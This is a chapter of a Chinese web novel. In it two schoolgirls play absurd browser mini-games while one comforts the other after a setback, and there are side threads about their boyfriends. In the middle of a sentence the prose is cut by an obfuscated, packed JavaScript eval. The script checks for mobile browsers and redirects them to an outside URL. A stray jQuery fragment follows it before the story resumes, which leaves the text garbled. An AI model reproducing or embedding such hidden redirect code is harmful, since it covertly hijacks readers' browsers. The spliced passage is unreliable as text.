62. 大大鱼吃小小鱼
作品:《我在BE漫画里改崩了cp》 安母带上门出去之后,安羽走过去轻轻落了锁,她背抵着门框,看着手机里再次响起的来电显示,心一抖,接通了。
她没敢开口,怕他听出声音的不对劲。
“喂?安羽,听得到吗?”一道清润的嗓音,在略显嘈杂的课间背景音却格外清明。
她乖乖点了下头,后觉他看不到,轻声应:“嗯,听得到。”
听筒的声音像覆了层膜,一瞬模糊。电话那头程砚像是对谁说了句“桌子上,自己拿”,背景音忽然变得空旷起来,程砚像是走出了教室,安羽听见他说:“本来想等高考结束带你出去恰饭的,但事情有变,提前一两天应该是最好的。你还记得我之前答应你的吗?”
在砂锅店,他曾说“等你回来补上这顿。”
安羽对那日记忆犹新,但也记得早在她小集训回来之际,他就早就信守了诺言。
“记得。”
“明天……怎么样?”程砚腕处搭在栏杆上,指尖无意识悬空在半空。
将近六月的夏天,风都带着间隔已久的余热席卷而来,拔出新叶的绿树枝桠中隐约有蝉鸣躁动。
虽然现在安羽只是高二,但也知道高三年级休息时间压缩到极致,每个星期只有周天的下午能喘口气,这短暂而唯一的间隙不该浪费在缓解她的情绪上。
想到这,安羽摇了摇头,轻声说:“后天吧,我看了天气预报,那天天气很好。”
顿了顿,程砚却问:“表层还是深层?”
“……中层?”
安羽吸了吸鼻子,忽然生出一种尘埃落定后的心静。但她知道有一座无形的桥挡在路前,自己却难以渡过。
他的只言片语能带给她一时的安慰,却又似瞬息。
-
周天,商如夏起大早赶去安羽家,敲门恰好撞上正要出门上班的安母。
“小夏来了?”
“阿姨,”商如夏无意识地攥紧书包肩带,神色认真地点了点头,“我来找安羽。”
“她呀,在屋里睡觉还没醒呢。”安母笑着把商如夏迎进来,“吃过早饭没?”
“路上吃过了。”
见阿姨一如往常的宽厚慈善,商如夏不由猜测她是不是还不知道这件事,眉目间瞧不出半分异样。
家里房子不隔音,客厅的谈话声全都传进安羽耳朵里。她一早就醒了,或许说这一整晚都未曾安眠。
商如夏推门进来时,安羽正支着下巴瞧透明玻璃窗上的纹路。
听见动静,安羽转回头,嘴角含着浅浅的笑:“好无聊,陪我玩游戏怎么样?”
“好啊。”商如夏轻轻把门合上,一本正经道,“实不相瞒,我其实是游戏高手。”
“……”
安羽眼皮跳了下:“真的假的?”
“……微假。”
须臾,空气中发出一声低笑,安羽朝她招招手:“游戏高手快来,教教我。”
打开桌上的台式电脑,在搜索栏里输入“小游戏”三个字,哗啦一下,蹦出一屏幕的方块小游戏。
“……”
商如夏把包放下,凑近仔细一瞧,这也太紧跟现实了。
“大大鱼吃小小鱼。”
“放屁超人?”
“冰火两重天之惊雷?”
“……”这些游戏真不是盗版吗?
脑海里那道声音平板无波:「抱歉宿主,为维护现实版权,程序设定如此。」
商如夏默然:“……”你们还挺严谨。
「感谢夸奖,已记录您的反馈,将在下一轮参与者进入时优化程序。」
商如夏:“……”懂了,我只是个试验品。
商如夏眨了眨眼,选择暂时屏蔽脑子里的交流,看向安羽提议道:“我们玩这个吧,‘冰火两重天之惊雷’。”
“好啊。”
一局‘惊雷’结束。
商如夏盯着屏幕上“Gameover”的字样,心想:这玩意跟冰火小人有一丝一毫的相似么?
她和安羽分饰蓝色和红色小人,刚从门洞一出场,往上几层宛如细胞分裂一样,哗哗蹦出成千上堆这样结伴的小人。
游戏规则是不能碰到同种类的小人,相触即消失,一共五条命。
最后游戏结束不是因为胜利,而是在躲避第一个小人时,胳膊意外撞到到后面人的肩膀(生命-1)。
被吓得原地一跳,头顶却撞上别人下巴(生命-1)。
捂住脑袋,手张得太开又挨到其他小人起跳落下时的胳膊肘(生命-1)。
至于剩下两条生命……纯属被吓没的。
商如夏:“……”
她吐了口恶气:“我不承认我游戏水平差,实在是这关太反人类了。”
安羽放在鼠标上的手一顿,疑惑地问:“第一次玩这个吗?”
商如夏想都没想,猛地点点头:“肯定啊,像这个名字我一般都不会点开看的。”
重新握上鼠标,食指顺着滚轴上下一滑,白色剪头落在另一款小游戏上,安羽了然点点头,轻轻笑了下:“……这样啊,其实还挺有意思的,不是吗?”
“……”羽宝管这叫有意思?
商如夏心里嘀咕,嘴上却绝不敷衍,但应和地说:“是有意思,密恐要犯了。”
“我们玩别的吧。”安羽随口转了话题。
商如夏顺着箭头落的位置看去,是‘大大鱼吃小小鱼(双人版)’。
她还没忘今天来得目的,忙问:“安羽,你饿不饿,想不想吃小蛋糕,我现在点外卖。”
下一瞬,安羽摇摇头:“不是很想。”
不是很想?商如夏自动解读为:不是很想就是‘想’,但又不‘太想’,颠来倒去还是‘想’!
“好吧。”商如夏装作遗憾地点点头,实则已经点开了下单界面,“那你等我回下消息,咱俩接着玩。”
安羽说:“好,不急。”
指尖在屏幕上飞舞,从搜索到付钱下单不到三十秒就搞定了。商如夏现在最不差钱了,过年时边长嬴给她的红包现在还剩好多……
分神一刹,思绪不知不觉就飘到他身上。
她指尖一滑,点开了边长嬴的聊天界面。
对话停在他昨晚发来的晚安上,她却没有回消息。
边长嬴:【晚安。】
备注是她顺手改回来的。
昨天下午两人吵得有些没有由来,商如夏后来想想,反省过后觉得是自己太过敏感,各种情绪堆积在一起,没控制住便爆发出来,而承受这些的偏偏是对自己无比包容的边长嬴。
那时闸门一开,眼泪便收不住,事后回想,好像只有在他面前,她才会这样毫无保留。
往日的小吵小闹虽不多但也有,一般第二天边长嬴就会给她递个台阶,让她顺着下来。
今天消息栏空荡荡的,他真的生气了。
意识到这点,商如夏心里突地一慌,额上也渗出些冷汗。
【晚安(补一下昨天的,不该不理你)】
消息发出去,心里那块
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17074070|183646||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
石头却没完全落下。她转头看向身旁,安羽正专注地盯着屏幕,侧脸在晨光里显得十分恬静。
商如夏抿抿唇,把手机放到一边。事分轻重缓急,但都赶上了,就一件件解决吧。
她曾以为时间很长,做任何事都有回旋的余地,而今系统一步步的播报完整性,留给她的时间不多了。
安羽注意到她神情不自然,便问:“怎么了?不舒服吗?”
“没有,我们继续玩吧。”商如夏打起精神,重新笑了笑。
第一局‘吃鱼’游戏到是正常许多,最后两人已高分破了这周排行榜上倒数第一的记录结束游戏。
商如夏余光瞥到安羽的表情没那么紧绷了,悄悄松了一口气。虽然安羽一直说说笑笑,但她知道那份痛苦并未消散,安羽没有表面的坚强,但也不过分怯懦。
商如夏相信,这次挫折只是暂时的,她会带着这份经历,走向她期许的远方。
“要不要喝水……”
话音未落,门被人从外推开一道缝,安习准边打哈欠边说:“姐,你起了没?妈这一招用的可真好,给我打电话叫你吃早饭,给我也嚯嚯醒了。”
安习准说完拍了两下门,算是催促,睁开眼刚准备走,却发现房间里还有其他人,旋即睡意退散,瞪大了眼睛:“小夏姐?”
商如夏打了个招呼,学着这孩子的口吻:“小准,早。”
安习准眨了眨眼,确认自己没眼花。他视线瞟下去,稳稳落在自己裸漏的上半身和只穿了个短裤的腿上:“靠!”
“砰——!”卧室门被带上了,安习准落荒而逃。
商如夏满脑袋问号,觉得自己及其无辜:“安羽,你弟这是怎么了?”
安羽一副见怪不怪的样子,幽幽道:“少男心事。”
商如夏:“……”
第二局‘吃鱼’游戏,商如夏看到电脑屏幕上那条黄色小鱼的尾巴碰到一只体型稍大的小丑鱼,瞬间失去一条生命,进入了中场休息。她皱了下眉,刚想吐槽,却见安羽松开手,她操纵的那条小粉鱼停滞在海中,被身后一只悄然靠近的大鲨鱼顷刻吞噬。
瞬间,屏幕整个黑了。
商如夏没忍住,噗哈哈哈地笑起来。
“天赐的默契。”
安羽也笑了。屏幕暗下去,她松开鼠标往椅背轻轻一靠。
屋子里安静了两秒,只有机箱散热运转的低鸣。
安羽盯着窗外被风吹得轻摇的树叶,忽然开口,说了句似乎没头没尾的话:“……昨天的糖醋小排其实是咸的,我妈应该把盐当成糖放了两勺。”
商如夏一开始没反应过来,笑个不停:“那还好吃吗?”
“比咸鱼干还咸。”安羽撇撇嘴,又摇摇头,“但我还是吃了好多。”
商如夏笑得泪花都涌了出来:“那味觉可要失灵了……糖醋小排怎么会是咸的,这也太奇怪了……”说着说着,语音便渐渐低了下去。
中场休息倒计时结束,安羽双手重新搭上键盘,操纵着小粉鱼,追赶上去,一口吞掉了旁边的小虾米:“是啊,糖醋小排怎么会是咸的。”
商如夏摸了摸安羽的头发,听懂了她的意思,轻声接道:“没关系的,咸了好下饭。”
从业养生的安母,怎么会把盐和糖认错呢?
她知道那应是眼泪。
但没关系——
伤痛以至,我们坦然接受,允许迷茫,但不彷徨。
背上行囊,重振旗鼓,荒郊野岭里咸的糖醋小排也是无上珍宝。

